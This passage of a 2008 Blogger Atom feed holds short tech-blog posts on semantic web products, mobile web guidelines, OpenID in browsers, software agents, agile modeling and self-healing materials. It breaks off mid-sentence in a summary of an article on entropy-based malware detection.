scheme='http://www.blogger.com/atom/ns#' term='Twine'/><category scheme='http://www.blogger.com/atom/ns#' term='SearchMonkey'/><category scheme='http://www.blogger.com/atom/ns#' term='Yahoo'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><title type='text'>Top 10 Semantic Web Products of 2008</title><content type='html'>&lt;div style="text-align: justify;"&gt;ReadWriteWeb has posted an &lt;a href="http://www.readwriteweb.com/archives/top_10_semantic_web_products_2008.php"&gt;article&lt;/a&gt; on the 10 best Semantic Web products of 2008. The top two spots are taken by Yahoo and Microsoft. Yahoo! &lt;a href="http://developer.yahoo.com/searchmonkey/"&gt;SearchMonkey&lt;/a&gt; is a search platform aiming at making the search better by leveraging web annotations. Microsoft acquired &lt;a href="http://www.powerset.com/"&gt;Powerset&lt;/a&gt;, a natural language processing search engine. Who has not made the list and maybe they should have: &lt;a href="http://www.twine.com/"&gt;Twine&lt;/a&gt; by Radar Networks, which provides a new way of tracking, finding, and sharing content, all in one place.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4324067213703871675?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4324067213703871675/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4324067213703871675' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4324067213703871675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4324067213703871675'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/12/top-10-semantic-web-products-of-2008.html' title='Top 10 Semantic Web Products of 2008'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4413959576659348293</id><published>2008-12-25T12:45:00.003-05:00</published><updated>2009-11-13T11:43:59.531-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mobile Best Practices'/><title type='text'>Mobile Web Best Practices</title><content type='html'>&lt;div style="text-align: justify;"&gt;W3C has posted earlier this year some &lt;a href="http://www.w3.org/TR/mobile-bp/"&gt;guidelines&lt;/a&gt; regarding mobile web best practices.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;a href="" id="abstract" name="abstract" style="font-style: italic;"&gt;This document specifies Best Practices for delivering Web content to mobile devices. The principal objective is to improve the user experience of the Web when accessed from such devices.&lt;/a&gt;"&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4413959576659348293?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4413959576659348293/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4413959576659348293' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4413959576659348293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4413959576659348293'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/12/mobile-web-best-practices.html' title='Mobile Web Best Practices'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3005284361749405906</id><published>2008-12-15T12:25:00.008-05:00</published><updated>2009-11-13T11:44:40.412-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mobile Applications'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Most Popular Android Applications for November 2008</title><content type='html'>&lt;div style="text-align: justify;"&gt;FastCompany has published a &lt;a href="http://www.fastcompany.com/blog/lynne-d-johnson/digital-media-diva/10-most-popular-android-apps-november-2008-report"&gt;post&lt;/a&gt; regarding the most popular Android Applications for November 2008:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://farm4.static.flickr.com/3156/3102274729_d645b1d75b.jpg?v=0" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://farm4.static.flickr.com/3156/3102274729_d645b1d75b.jpg?v=0" style="cursor: pointer; display: block; height: 319px; margin: 0px auto 10px; text-align: center; width: 500px;" /&gt;&lt;/a&gt;SOURCE: fastcompany.com&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3005284361749405906?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3005284361749405906/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3005284361749405906' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3005284361749405906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3005284361749405906'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/12/most-popular-android-applications-for.html' title='Most Popular Android Applications for November 2008'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-5685118909358127270</id><published>2008-12-06T20:06:00.020-05:00</published><updated>2008-12-06T23:03:03.591-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='O&apos;Reilly'/><category scheme='http://www.blogger.com/atom/ns#' term='OpenID'/><category scheme='http://www.blogger.com/atom/ns#' term='Browsers'/><title type='text'>OpenID into Browsers, Browsers repllace OSs</title><content type='html'>&lt;div style="text-align: justify;"&gt;A great post on &lt;a href="http://radar.oreilly.com/"&gt;O'Reilly Radar&lt;/a&gt; about &lt;a href="http://radar.oreilly.com/2008/12/getting-openid-into-the-browse.html"&gt;getting OpenID into the browser&lt;/a&gt;. I find the idea fascinating: when you open your browser, it will ask you to unlock it by usign your OpenID information:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3046/3077554701_27b4b4837f.jpg?v=0"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 255px; height: 196px;" src="http://farm4.static.flickr.com/3046/3077554701_27b4b4837f.jpg?v=0" alt="" border="0" /&gt;&lt;/a&gt;SOURCE: David Recordon on radar.oreilly.com&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As you start surfing the web, the browser will take care of automatically logging you into any website. Furthermore, it will help you with the registration process. Why is this not yet implemented?&lt;br /&gt;&lt;br /&gt;Another (future) innovation is described in an article from DesktopLinux entitled "&lt;a href="http://www.desktoplinux.com/news/NS2750645189.html"&gt;Browser swallows OS&lt;/a&gt;": when you boot your computer, instead of an OS-based environment, you would get a browser-based environment, like shown below:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.desktoplinux.com/files/misc/gos_cloudfront.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 281px; height: 166px;" src="http://www.desktoplinux.com/files/misc/gos_cloudfront.jpg" alt="" border="0" /&gt;&lt;/a&gt;SOURCE: DesktopLinux.com&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Fascinating, isn't it? The company that provides the browser operating system (called Cloud) is &lt;a href="http://www.thinkgos.com/"&gt;gOS&lt;/a&gt;. As Enrique Ortiz has also mentioned in his &lt;a href="http://weblog.cenriqueortiz.com/theweb/2008/12/02/browser-swallows-os/"&gt;post&lt;/a&gt;, similar ideas have been tried in the past, but they all failed. Maybe this time it will be different.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-5685118909358127270?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/5685118909358127270/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=5685118909358127270' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5685118909358127270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5685118909358127270'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/12/getting-openid-into-your-browser.html' title='OpenID into Browsers, Browsers repllace OSs'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-6517980297452693572</id><published>2008-12-06T19:15:00.004-05:00</published><updated>2008-12-06T19:28:59.038-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mobile'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><title type='text'>Mapping open source to mobile</title><content type='html'>&lt;a href="http://www.visionmobile.com"&gt;VisionMobile&lt;/a&gt; published a &lt;a href="http://www.visionmobile.com/blog/2008/12/mapping-open-source-into-mobile-who-where-and-how/"&gt;report&lt;/a&gt; on the different open source technologies used in the mobile space, describing who is using open source, where they are using it, and how they are using it, a must read.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-6517980297452693572?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/6517980297452693572/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=6517980297452693572' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6517980297452693572'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6517980297452693572'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/12/mapping-open-source-to-mobile.html' title='Mapping open source to mobile'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-7099752077755202569</id><published>2008-12-02T19:12:00.008-05:00</published><updated>2008-12-07T08:37:36.871-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Semantic Web'/><title type='text'>Semantic Web - Technology Maturity</title><content type='html'>&lt;div style="text-align: justify;"&gt;I recently read an &lt;a href="http://www.sei.cmu.edu/architecture/GoldenAgeTR_v6.pdf"&gt;article&lt;/a&gt; about the golden age of software architecture written by Mary Shaw and Paul Clements. They have a section on how technologies mature, therefore I thought about where the Semantic Web is on that six-phase scale. I believe that the Semantic Web lies at the end of stage four, moving towards stage five. Here is why:&lt;br /&gt;&lt;br /&gt;-    Basic Research: Basic ideas and concepts have been investigated. The structure of the Semantic Web has been defined, and the different layers have been identified and described into details.&lt;br /&gt;-    Concept formulation: There is a wide research community available, which has refined the concepts available in the Semantic Web, converging on a set of ideas and continuously refining the structure of it.&lt;br /&gt;-    Development and Extension: Preliminary applications of the Semantic Web have been spotted since a couple of years. One of the first such applications has been Dublin Core, a vocabulary for distributed Digital Libraries.&lt;br /&gt;-    Internal enhancement and exploration: Semantic Web has been extended to other domains, such as biology, and has been used for real problems such as a better way to integrate and combine data. In addition, specific companies offer training. The problem is that the tools are not yet quite there in terms of usability, in terms of making it easy for the user.&lt;br /&gt;-    External enhancement and exploration: The problem here is that a broader community of people who are not developers is not involved. There are not a lot of companies that use Semantic Web technologies. There is yet to be shown a substantial evidence of value and applicability. In my opinion, better known companies need to use Semantic Web. If you look at Ajax, the technologies behind it were known for a long time; but before Google Maps used it, it was not adopted in a broad manner.&lt;br /&gt;-    Popularization: There are commercial products that use Semantic Web; hence, the technology has been marketed.&lt;br /&gt;&lt;br /&gt;In conclusion, even though part of phase five and six are available, there are incomplete. Without broader support, without better tools, without making it easier for the user to understand and use the technology, it will never become popular. Furthermore, even if we were to teach Semantic Web in Universities, it would make little difference because the industry needs also to adopt it more openly and frequently.&lt;br /&gt;&lt;br /&gt;I would love to hear from somebody who has more experience with the Semantic Web and maybe a different view on where it lies in the six-phase system.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-7099752077755202569?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/7099752077755202569/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=7099752077755202569' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7099752077755202569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7099752077755202569'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/12/semantic-web-technology-maturity.html' title='Semantic Web - Technology Maturity'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3760924288281104522</id><published>2008-11-19T14:12:00.014-05:00</published><updated>2008-12-07T08:38:18.542-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Agents'/><category scheme='http://www.blogger.com/atom/ns#' term='Semantic Web'/><title type='text'>(Software) Agents and the Semantic Web</title><content type='html'>&lt;div style="text-align: justify;"&gt;I thought about why the concept of Agent has not taken off, why people/companies do not use them as widely as they use other technologies. Two reasons came in mind.&lt;br /&gt;&lt;br /&gt;First, there is the security issue. How does one know that the software agent has not been tampered with, or that the information it caries is secure enough, or that other agents it meets are "good" agents, not "bad" ones. Since the concept of agent has to include the property of being autonomous, how can we restrict the agent in its actions and decisions without greatly reducing his autonomy?&lt;br /&gt;&lt;br /&gt;Second, the job of an (software) agent is to talk to other systems, interpret and gather data, make decisions on that data, and present it back to the user in a readable and useful way.&lt;br /&gt;&lt;br /&gt;While the first reason might have been already overcome, the second has not. In my opinion, to overcome this, one has to use the Semantic Web. If you add meaning to data, agents can interpret it and make proper decisions, without having to ask the user for guidance at every step (thus loosing its effectiveness, and some of the main properties it's supposed to posses, like being autonomous) . I am sure this is not an novel idea, and that people have already thought about it, but for me it makes sense. I envision an "Agent Store", or "Agent Market", where people would go and "rent" or "buy" agents to fulfill their immediate or long time needs, such as paying all utilities (power, phone, internet, cable, credit cards, etc), or scheduling a doctor appointment, etc.&lt;br /&gt;Wouldn't this be nice?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3760924288281104522?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3760924288281104522/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3760924288281104522' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3760924288281104522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3760924288281104522'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/11/software-agents-and-semantic-web.html' title='(Software) Agents and the Semantic Web'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3859809352332695744</id><published>2008-11-18T20:53:00.006-05:00</published><updated>2008-12-07T08:38:28.985-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='IEEE Software'/><title type='text'>Frequently Forgotten Fundamental Facts about Software Engineering</title><content type='html'>&lt;div style="text-align: justify;"&gt;Interesting &lt;a href="http://www2.computer.org/portal/web/buildyourcareer/fa035"&gt;article&lt;/a&gt; by Robert L. Glass, initially printed in 2001, vol. 18 of IEEE Software. The author writes about "forgotten fundamentals" facts regarding software engineering.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3859809352332695744?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3859809352332695744/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3859809352332695744' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3859809352332695744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3859809352332695744'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/11/frequently-forgotten-fundamental-facts.html' title='Frequently Forgotten Fundamental Facts about Software Engineering'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-1713711324209603247</id><published>2008-11-12T20:54:00.040-05:00</published><updated>2008-12-07T08:38:47.474-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IEEE Spectrum'/><category scheme='http://www.blogger.com/atom/ns#' term='Biology'/><title type='text'>Self-Healing Hulls</title><content type='html'>&lt;div style="text-align: justify;"&gt;In the 2008 November issue of IEEE Spectrum, there is an article that talks about &lt;a href="http://www.spectrum.ieee.org/nov08/6913"&gt;self-healing hulls&lt;/a&gt;. The carbon-fiber composition of a yacht can considerably heal itself after a collision. You can improve the healing process by inducing a little electric current. The work is being done by Eva Kirkby, a graduate student from &lt;a href="http://www.epfl.ch/"&gt;EPFL&lt;/a&gt;. The main idea is that carbon-fiber is composed of carbon fibers and &lt;a href="http://en.wikipedia.org/wiki/Epoxy"&gt;epoxy&lt;/a&gt;; the problem is that in case of impacts, these materials tend to separate internally causing cracks parallel to the surface of the material. In order to counter this problem, the material is infused with hundreds of very small bubbles filled with liquid-monomer molecules plus some small particles of catalyst. The outcome would be a hardening of the material. In order to keep the concentration and size of the bubbles to a minimum, Kirkby incorporated into the composition wires of a &lt;a href="http://en.wikipedia.org/wiki/Shape_memory_alloy"&gt;smart alloy&lt;/a&gt;, an alloy that can return to its initial shape after being deformed by applying heat (electricity) through it. Great idea!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-1713711324209603247?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/1713711324209603247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=1713711324209603247' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1713711324209603247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1713711324209603247'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/11/self-healing-hulls.html' title='Self-Healing Hulls'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-1006681961651225791</id><published>2008-11-12T17:10:00.009-05:00</published><updated>2009-08-27T16:56:51.055-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Comic Strip'/><category scheme='http://www.blogger.com/atom/ns#' term='Biology'/><title type='text'>Dilbert's self-aware comic strip</title><content type='html'>In my recent posts I kept mentioning biologically-inspired concepts such as self-aware, self-healing etc. Here is a comic view of self-awareness:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/30000/1000/300/31334/31334.strip.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 130px;" src="http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/30000/1000/300/31334/31334.strip.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I love it!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-1006681961651225791?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/1006681961651225791/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=1006681961651225791' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1006681961651225791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1006681961651225791'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/11/dilberts-self-aware-comic-strip.html' title='Dilbert&apos;s self-aware comic strip'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-2354551644787385375</id><published>2008-11-10T21:33:00.032-05:00</published><updated>2008-11-10T22:28:34.873-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MDD'/><category scheme='http://www.blogger.com/atom/ns#' term='AMDD'/><category scheme='http://www.blogger.com/atom/ns#' term='Agile'/><category scheme='http://www.blogger.com/atom/ns#' term='MDA'/><category scheme='http://www.blogger.com/atom/ns#' term='Dr. Dobb&apos;s'/><category scheme='http://www.blogger.com/atom/ns#' term='TDD'/><title type='text'>Do agile teams model or write documentation?</title><content type='html'>&lt;div style="text-align: justify;"&gt;To be honest, I had the misconception that agility and modeling are at the opposite poles, that agile teams right little or no documentation. That all changed once I read an &lt;a href="http://www.ddj.com/architect/211201940"&gt;article &lt;/a&gt;from Dr. Dobb's Journal. Some of the reasons agile teams do up-front modeling is "&lt;span style="font-style: italic;"&gt;to answer questions around the scope that they're addressing, the relative cost and schedule, and what their technical strategy is&lt;/span&gt;." Another reason is to better grasp and manage the complexity of system architecture.&lt;br /&gt;&lt;br /&gt;Some agile modeling an documentation best practices are mentioned as doing "&lt;span style="font-style: italic;"&gt;some initial requirements and architecture envisioning early in the project to write executable specifications via a Test-Driven Development (TDD) approach, to single source information whenever possible, to write documentation later in the lifecycle, to promote active stakeholder participation, to implement requirements in priority order, to include modeling in iteration/sprint planning activities, to create models and documents that are just barely good enough for the situation at hand, to model storm the details on a just-in-time (JIT) basis, to sometimes model a bit ahead to explore complex requirements, and to take a multiview approach via multiple models"&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;One of the complaints that exist with using agile methodologies is that they cannot be applied on large-scale projects and in large development teams. For those kind of projects, plan-driven, model-based solutions are better suited. To achieve this kind of scalability, there is an agile version of Model Driven Development (where MDA is one example of it), called &lt;a href="http://www.agilemodeling.com/essays/amdd.htm"&gt;AMDD&lt;/a&gt; or Agile Model Driven Development. The difference is that instead of creating extensive models, you create instead &lt;a href="http://www.agilemodeling.com/essays/whenIsAModelAgile.htm"&gt;agile models&lt;/a&gt;. Furthermore, with AMDD, you do just a little of modeling, followed by a lot of coding.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-2354551644787385375?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/2354551644787385375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=2354551644787385375' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2354551644787385375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2354551644787385375'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/11/do-agile-teams-model-or-write.html' title='Do agile teams model or write documentation?'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-2732379475314362820</id><published>2008-11-04T11:36:00.010-05:00</published><updated>2008-12-07T08:39:21.568-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Entropy'/><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Chaos'/><category scheme='http://www.blogger.com/atom/ns#' term='IEEE Spectrum'/><category scheme='http://www.blogger.com/atom/ns#' term='Biology'/><title type='text'>Controlled Chaos</title><content type='html'>&lt;div style="text-align: justify;"&gt;In the 2007 December issue of IEEE Spectrum entitled &lt;a href="http://spectrum.ieee.org/dec07/5722"&gt;Controlled Chaos&lt;/a&gt;, the authors describe a new generation of algorithms based on concepts related to the thermodynamic concept of entropy, which is a measure of how disordered a system is. By the fact that malicious code changes the flow of data in the network, the entropy of the network is thus altered. The new malicious threat, called Storm, uses different ways to be installed on the host machine, mostly through email attachments. Hot do we protect the networks? First step is to know how the network traffic moves around the network. Such collections of data from nodes in the network are possible because routers or servers are 